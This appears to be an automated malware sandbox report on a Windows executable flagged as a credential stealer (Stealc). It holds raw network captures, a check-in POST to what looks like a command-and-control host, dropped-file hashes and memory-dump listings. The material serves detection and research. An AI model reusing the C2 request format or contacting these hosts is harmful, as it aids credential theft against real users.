2024-12-23 07:07:48 UTC	15331	OUT	Data Raw: 69 4d 0b 52 25 aa 44 25 2e 5f 12 8e af 40 c8 2c 4f 98 92 67 65 b5 1e ce 36 1a b8 5b 9a 7d 7b 10 71 bd 33 ad 30 f7 64 cc 0f 8f 82 ed bd 9e d3 0e b9 95 37 98 38 7a 90 c8 19 e0 b8 0d 2b 39 96 f5 20 94 2e ee 98 5b 75 1a fe dc 2a 31 c6 26 a9 b1 6a c5 f2 ba 43 55 68 28 e6 c6 19 dc 7f 16 d5 1f 79 19 e4 24 a4 97 e4 60 90 ea f8 c5 4a 07 57 c8 78 81 59 ca 7b a0 8f 31 b1 f1 c8 99 b3 82 ff be 41 57 1a fb e2 90 bd 17 4f b2 75 62 9a 34 a5 fa cb bb c8 40 c8 a7 9e de 82 fc 25 cb aa 9b dd 36 53 2d b2 8a 5b 92 46 5e 35 cf b1 34 9f e2 b6 cd 6a 47 8a ee 8a bd 60 5c 94 b2 99 98 38 7b b3 fb 9a 15 9c 9a 06 7e 25 e5 25 55 ca 2e c6 42 59 41 73 4e f0 67 5b b5 65 fe 10 f6 b6 20 5a 78 8a 01 29 ae 93 1c d1 8b 37 68 56 58 bc e4 e0 1a 19 f3 6f 2d 34 18 0b 8a 60 48 c9 62 ee cc fa 4a ff Data Ascii: iMR%D%._@,Oge6[}{q30d78z+9 .[u*1&jCUh(y$`JWxY{1AWOub4@%6S-[F^54jG`\8{~%%U.BYAsNg[e Zx)7hVXo-4`HbJ
2024-12-23 07:07:48 UTC	15331	OUT	Data Raw: 86 35 fc 42 16 c8 4f 05 ba e8 8f fd 51 3f b9 47 bb ad e8 fc d7 dc b4 95 c2 05 71 02 f8 e5 d0 5a 8b 86 38 01 4e f1 19 59 8a d2 41 c9 2e 65 28 ed 71 a0 b7 b3 4b 93 40 d3 e2 64 77 11 1e ff b6 1a e9 fb 8a a4 0a 7e 43 4a 9b 11 b0 d4 69 6b e1 b9 79 3a 38 45 05 36 b4 42 60 e4 3b d1 82 68 56 27 55 b6 f4 36 40 9a 02 5a b6 83 28 c0 5e 2a c8 e6 ad 6b 27 12 80 ec 66 25 ef 91 1a 05 5c af f7 be 53 41 5f 66 fb b1 38 90 f2 28 3c a4 e9 51 f8 25 c0 cc da 0d 1e ca 32 b5 8b 64 ff e7 34 95 41 06 20 3f c9 33 4e 5a d0 c5 14 50 0f 3c 39 1f aa f3 4c 29 e7 f2 d6 33 3a 85 df a4 ca 74 af d1 42 f5 ed 1b 45 58 ef 23 61 fc ec eb ff 99 0b 62 e0 ce d2 3f 01 0c 64 44 ff 57 90 d9 82 ab e1 bf 43 d0 30 a7 02 6c 60 e1 4e 71 83 eb c0 e1 ec 56 09 54 64 e5 41 18 82 5e bf 31 84 8b 20 00 ad 21 ca Data Ascii: 5BOQ?GqZ8NYA.e(qK@dw~CJiky:8E6B`;hV'U6@Z(^*k'f%\SA_f8(<Q%2d4A ?3NZP<9L)3:tBEX#ab?dDWC0l`NqVTdA^1 !
2024-12-23 07:07:48 UTC	15331	OUT	Data Raw: b2 18 20 c1 e0 ad 8f 20 16 03 87 d6 56 6b 01 1c bd 2b 52 91 29 74 b5 1f d8 66 ba 58 57 02 d2 a3 68 b8 42 19 1d 7d 79 52 8a 7d 40 eb b6 41 ce d7 9f 78 1f 6c cc 28 d6 fd 68 61 f4 e6 1e ab 7b 7c 56 80 ec 79 96 2c 3c 2e be fe f9 3c ec e5 e6 bd 91 ba 91 aa 96 98 6f 62 8c 54 79 e5 84 49 e9 d4 95 d5 43 64 17 6b 41 20 c7 7f 5d 60 5a 8d a9 86 8f 3a 4f f1 52 2f 46 e5 aa db 0e 29 a7 85 ab 22 96 00 2b dd 71 60 8b 0e 3a 1c 50 41 48 77 97 7f 8b f8 d2 c6 be d5 44 b8 b5 02 89 6d 73 e8 78 5a 5b eb 9f 07 e7 a8 51 d4 a3 2d dd ca f7 66 de d4 89 51 08 15 b8 12 0d cc cf 5a 31 2f cc 4a be f9 6e 0e cc c0 39 b2 f3 df 9e 48 e5 50 8e 9a 9f f6 c3 ee d9 7f d0 af cc 9f cd c7 3f 02 c6 bd b1 34 34 3e 0a 37 55 28 e3 01 89 36 e3 5e d8 15 3e 69 e5 46 02 f9 f9 22 f9 94 3b fc b2 71 dd d7 05 Data Ascii: Vk+R)tfXWhB}yR}@Axl(ha{\|Vy,<.<obTyICdkA ]`Z:OR/F)"+q`:PAHwDmsxZ[Q-fQZ1/Jn9HP?44>7U(6^>iF";q
2024-12-23 07:07:48 UTC	15331	OUT	Data Raw: 72 db 4f 11 fe e9 d8 f8 d4 42 08 c6 54 4f c2 23 44 55 96 10 68 75 4e e2 b5 fc 48 08 74 df c1 6b de 96 ee 3d cf 4d 67 d9 79 c3 3f e5 3e 34 11 dd a2 d1 37 67 84 90 16 63 4b 09 5e 3d b7 47 19 52 7e d8 c8 08 cf d8 6b 3d a5 2c 6c 26 b1 b1 14 8e 61 18 7d 4a 05 69 b4 14 4d 13 bf d5 c7 0e f6 9d 92 6b e7 40 21 e8 ae 87 5a 95 a0 eb 21 77 95 99 59 c9 bc 9f ae 5e ad d5 c7 1e 39 20 71 47 41 5a 8a 3f 19 c3 38 dc e2 eb cd ef fe 66 95 d1 be de 6d 56 18 21 28 a0 01 2a 3b 8e 62 fe b8 2a 58 8d bc c8 f0 24 4b 09 ca 85 1b 86 8a 9b dc 5f df a3 0b 01 07 74 d8 c7 e3 94 23 57 1f 44 3c c0 e2 d2 b3 5c 8f 85 85 a6 74 e8 d1 33 03 bf ff 95 dd bd 11 f8 b7 de 31 a7 33 7f 33 0e ec 1f 72 6e ce 5a 29 fd da b4 b2 9c b3 e7 4e 5d f4 02 ef af 09 e7 fa 9f 33 56 2e 81 ad b6 a3 55 b5 09 a1 03 32 Data Ascii: rOBTO#DUhuNHtk=Mgy?>47gcK^=GR~k=,l&a}JiMk@!Z!wY^9 qGAZ?8fmV!(;bX$K_t#WD<\t3133rnZ)N]3V.U2
2024-12-23 07:07:48 UTC	15331	OUT	Data Raw: de 39 c7 b4 f8 82 14 d1 24 78 8f ba ba 26 45 2a 40 7b c6 26 5d a9 39 33 98 f3 a5 d7 7d 76 e3 d3 b9 e8 01 a1 e2 08 09 e2 95 70 dc a8 fe ff eb 47 90 cb e0 5e 50 ac 51 74 33 a2 ea 71 29 32 0a 76 42 14 0c f3 9b 17 1d 68 cf 0e c8 27 d4 43 ac 95 73 d0 da f3 77 3e 47 7f 13 82 34 70 07 a0 66 52 db cd 51 f5 49 bc e6 cf 9c f2 b0 a3 19 62 06 d7 ff 7d e0 1f f4 c5 c5 7f ed 76 e8 50 06 39 e5 c0 6a 6e 17 aa 39 ef 4e ef cb c9 96 e0 31 e3 c3 5a 61 0d f5 3b 27 5e 2d 41 ac 9b 86 21 18 c6 68 78 78 0b 28 5b cb fa 21 0d 66 a2 ff cf 71 1e ca 8b 05 8b 76 10 f5 86 29 cc ca e3 f3 c2 88 1d 82 fc 2b 89 23 b6 3a e0 75 54 32 34 88 d3 ce 55 7e c0 10 43 f5 7e 4d 45 aa 42 fe ab 7d 31 66 f1 cc a0 5f 47 9a 25 81 e5 57 a3 b2 8c 03 10 73 d9 ce 82 28 73 09 ee 70 73 33 d8 4e 69 dc a3 10 e0 66 Data Ascii: 9$x&E*@{&]93}vpG^PQt3q)2vBh'Csw>G4pfRQIb}vP9jn9N1Za;'^-A!hxx([!fqv)+#:uT24U~C~MEB}1f_G%Ws(sps3Nif
2024-12-23 07:07:48 UTC	15331	OUT	Data Raw: 42 ba ef 6e af 56 9f 25 35 cc cd 8f ff d8 52 dc d9 8d 62 bf 59 5c 03 25 2e d9 80 9e 76 3a 23 cc 0d 09 fd e8 2d 3b 93 05 ef 2f 9d 7b 66 70 e2 dd 57 b4 f2 e5 1f a9 3a d2 7f 0c fe cd 39 9e c1 9c b5 ee cb f7 16 35 65 a9 ef ee 67 a6 66 47 8a c7 4d 3f d2 d9 c1 b7 ce e9 e2 1c a9 3c 13 58 f9 4c 19 cc a8 a1 e3 ef 1d 58 cb 4e 72 de 59 69 f4 d3 96 7c dc 89 d5 f3 a1 f8 d3 25 a4 eb 3a f0 7c 33 34 59 29 fe 50 1e f4 7e 82 3c d0 7c 1d b1 a5 d4 35 33 e3 ec db 62 a6 de 0a 25 73 74 4f 33 c7 bb 48 9a 18 f1 79 e1 a2 47 96 d0 af 36 31 30 45 ed ab 28 33 e7 be 32 7d 78 e6 7c 11 3a 31 1f 90 f7 94 f3 92 88 59 80 a0 47 aa 82 42 bd 6c e6 12 76 00 c7 21 a5 f5 04 15 eb d6 a4 f7 7e 6a 8b 80 b2 cf f4 c4 0b 3d 40 60 95 a9 05 70 fa 95 87 98 75 4f de cb 8f c3 11 ba 7f 89 b5 9a ed 62 44 d7 Data Ascii: BnV%5RbY\%.v:#-;/{fpW:95egfGM?<XLXNrYi\|%:\|34Y)P~<\|53b%stO3HyG610E(32}x\|:1YGBlv!~j=@`puObD
2024-12-23 07:07:52 UTC	1137	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:07:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1lsc38dufvv2ecid1k10i2o47j; expires=Fri, 18 Apr 2025 00:54:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EjoZI%2FAGVNeujkU1qVeYQxpKOGf%2FoFEcHqdnigxMl25DCphy2oRg6jsD%2FS2FzGoDRUo72jaBUfwwV%2FWo3c8oZG75Npr%2FcZgZh3G0wnngu8KoOhpME5BS6x9%2F7WxTJbqVlUg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66844eca2b42da-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1751&min_rtt=1730&rtt_var=664&sent=371&recv=593&lost=0&retrans=0&sent_bytes=2836&recv_bytes=573038&delivery_rate=1687861&cwnd=227&unsent_bytes=0&cid=2f58d8eac8736809&ts=3242&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49742	172.67.199.72	443	7432	C:\Users\user\Desktop\0HdDuWzp54.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:07:53 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: observerfry.lat
2024-12-23 07:07:53 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 33 43 43 44 31 34 43 42 37 43 30 41 39 38 32 42 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=3CCD14CB7C0A982BAC8923850305D13E
2024-12-23 07:07:54 UTC	1127	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:07:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2q88idep263qj7iiemef1vldgs; expires=Fri, 18 Apr 2025 00:54:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1vz7x%2BCRPPd0DJ%2FQ4CuPr7Vikgu7T7cXdMelQVyk%2F1PfFhbCVEVCYSb40uKXBitw1t0kpXFf0qpMQ98C68G1WqN%2Bqc0GEij1cvwodf9ObBIQzhiTZkWxNHR3gCMIiY%2BHfso%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66846bcd4d427f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2333&min_rtt=2279&rtt_var=893&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=981&delivery_rate=1281263&cwnd=239&unsent_bytes=0&cid=83385533d1b7710e&ts=761&x=0"
2024-12-23 07:07:54 UTC	214	IN	Data Raw: 64 30 0d 0a 42 7a 30 6e 77 37 41 75 65 42 5a 75 57 2f 37 56 69 4d 30 62 46 79 2f 6b 6d 73 74 47 57 31 53 35 69 6f 6a 65 6c 68 67 46 45 4d 68 63 52 67 57 32 6b 68 52 61 66 68 6f 76 6a 75 2f 55 34 6b 63 34 48 74 79 76 35 58 52 71 59 5a 65 37 75 65 32 34 4b 54 4e 4d 35 32 68 62 51 5a 2b 66 53 68 31 77 51 44 36 47 73 4b 72 68 4f 58 46 62 78 71 44 37 61 6e 6b 78 6d 37 43 34 6f 37 70 6a 4a 32 58 71 50 52 39 50 74 38 52 65 51 6b 70 42 42 39 48 6b 73 50 67 31 4a 52 37 52 74 50 70 33 61 48 71 49 76 4e 54 78 35 57 78 67 63 61 56 62 45 6c 57 69 33 6b 6f 58 65 30 41 2b 68 72 43 71 34 54 6c 78 57 38 61 67 2b 32 70 35 4d 5a 75 77 75 4b 50 4c 0d 0a Data Ascii: d0Bz0nw7AueBZuW/7ViM0bFy/kmstGW1S5iojelhgFEMhcRgW2khRafhovju/U4kc4Htyv5XRqYZe7ue24KTNM52hbQZ+fSh1wQD6GsKrhOXFbxqD7ankxm7C4o7pjJ2XqPR9Pt8ReQkpBB9HksPg1JR7RtPp3aHqIvNTx5WxgcaVbElWi3koXe0A+hrCq4TlxW8ag+2p5MZuwuKPL
2024-12-23 07:07:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	02:07:29
Start date:	23/12/2024
Path:	C:\Users\user\Desktop\0HdDuWzp54.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\0HdDuWzp54.exe"
Imagebase:	0x8f0000
File size:	1'881'088 bytes
MD5 hash:	B333C775A7E8C4B2A778C94E6D795C15
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1825442882.0000000001440000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1860556609.0000000001449000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:07:59
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe"
Imagebase:	0xae0000
File size:	2'845'696 bytes
MD5 hash:	97B29CE33CCFE8A2B642BD236A0DD337
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:08:04
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe"
Imagebase:	0x3a0000
File size:	2'907'648 bytes
MD5 hash:	880F67C30D6C2335273B27DF0004F500
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000005.00000002.2116005782.00000000003A1000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000005.00000003.2075796995.0000000005260000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000005.00000002.2118221321.00000000015DE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	37.5%
Signature Coverage:	0%
Total number of Nodes:	32
Total number of Limit Nodes:	1

Executed Functions

Function 00C83D4C Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2174036881.0000000000C76000.00000040.00000001.01000000.00000006.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000004.00000002.2173637714.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173668389.0000000000AE2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173695499.0000000000AE6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173723710.0000000000AEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173748735.0000000000AF4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173774303.0000000000AF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173802171.0000000000AF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173928682.0000000000C50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173955097.0000000000C52000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173987833.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174012478.0000000000C6C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174036881.0000000000C6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174096437.0000000000C8C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174124895.0000000000C8D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174148739.0000000000C8E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174177782.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174206443.0000000000CA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174232433.0000000000CA8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174262892.0000000000CAF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174296664.0000000000CB9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174322435.0000000000CC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174350940.0000000000CCB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174374267.0000000000CCC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174398261.0000000000CCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174425324.0000000000CD9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174451242.0000000000CDD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174480698.0000000000CDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174508061.0000000000CE6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174529139.0000000000CE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174553909.0000000000CEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174578227.0000000000CF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174600307.0000000000CF7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174631261.0000000000D0E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174655675.0000000000D18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174681403.0000000000D21000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174708920.0000000000D23000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174744173.0000000000D42000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174772113.0000000000D43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174807311.0000000000D74000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174835648.0000000000D75000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174862409.0000000000D76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174888818.0000000000D77000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174917337.0000000000D81000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174917337.0000000000D8A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174975086.0000000000D98000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175003532.0000000000D9A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ae0000_NCU1LYX00CJA4N4Z4DG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7846691b4b23c5de33e5d36444ba6c0e780dc3500b653f34773bb7ca8ecb2bb5
Instruction ID: 7930a269c68b623412e859e100e980e95a2ee5d6dc94663f9c8597bf67cf76e3
Opcode Fuzzy Hash: 7846691b4b23c5de33e5d36444ba6c0e780dc3500b653f34773bb7ca8ecb2bb5
Instruction Fuzzy Hash: 13E092B2904256CFCB41DE39C80878AB7A5DB14710F141A6AB54CD7991F7748D50CB98

Function 00C7B0AC Relevance: 4.6, APIs: 3, Instructions: 88
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 00C7E183
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00C7E1AA
GetNativeSystemInfo.KERNELBASE(?), ref: 00C7E201

Memory Dump Source

Source File: 00000004.00000002.2174036881.0000000000C76000.00000040.00000001.01000000.00000006.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000004.00000002.2173637714.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173668389.0000000000AE2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173695499.0000000000AE6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173723710.0000000000AEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173748735.0000000000AF4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173774303.0000000000AF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173802171.0000000000AF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173928682.0000000000C50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173955097.0000000000C52000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173987833.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174012478.0000000000C6C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174036881.0000000000C6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174096437.0000000000C8C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174124895.0000000000C8D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174148739.0000000000C8E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174177782.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174206443.0000000000CA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174232433.0000000000CA8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174262892.0000000000CAF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174296664.0000000000CB9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174322435.0000000000CC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174350940.0000000000CCB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174374267.0000000000CCC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174398261.0000000000CCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174425324.0000000000CD9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174451242.0000000000CDD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174480698.0000000000CDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174508061.0000000000CE6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174529139.0000000000CE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174553909.0000000000CEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174578227.0000000000CF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174600307.0000000000CF7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174631261.0000000000D0E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174655675.0000000000D18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174681403.0000000000D21000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174708920.0000000000D23000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174744173.0000000000D42000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174772113.0000000000D43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174807311.0000000000D74000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174835648.0000000000D75000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174862409.0000000000D76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174888818.0000000000D77000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174917337.0000000000D81000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174917337.0000000000D8A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174975086.0000000000D98000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175003532.0000000000D9A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ae0000_NCU1LYX00CJA4N4Z4DG.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: e80647ee003962d5a3bd47bf32f484b21418879e049b617efcc90d1a0faa4daa
Instruction ID: 104fe1904e94656630446712d1dfbe21ea5986764e8baf8cdaa3ffbc482a242d
Opcode Fuzzy Hash: e80647ee003962d5a3bd47bf32f484b21418879e049b617efcc90d1a0faa4daa
Instruction Fuzzy Hash: 48319A7240420E9FEF11DFA0C848BEE3BB9FF05310F008529E99586942E3B65DE4CB4A

Function 00C6DF99 Relevance: 1.6, APIs: 1, Instructions: 102
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00C6DF99

Memory Dump Source

Source File: 00000004.00000002.2174012478.0000000000C6C000.00000080.00000001.01000000.00000006.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000004.00000002.2173637714.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173668389.0000000000AE2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173695499.0000000000AE6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173723710.0000000000AEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173748735.0000000000AF4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173774303.0000000000AF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2173802171.0000000000AF6000.00000080.00000001.01000000.00000006.sdmpDownload File
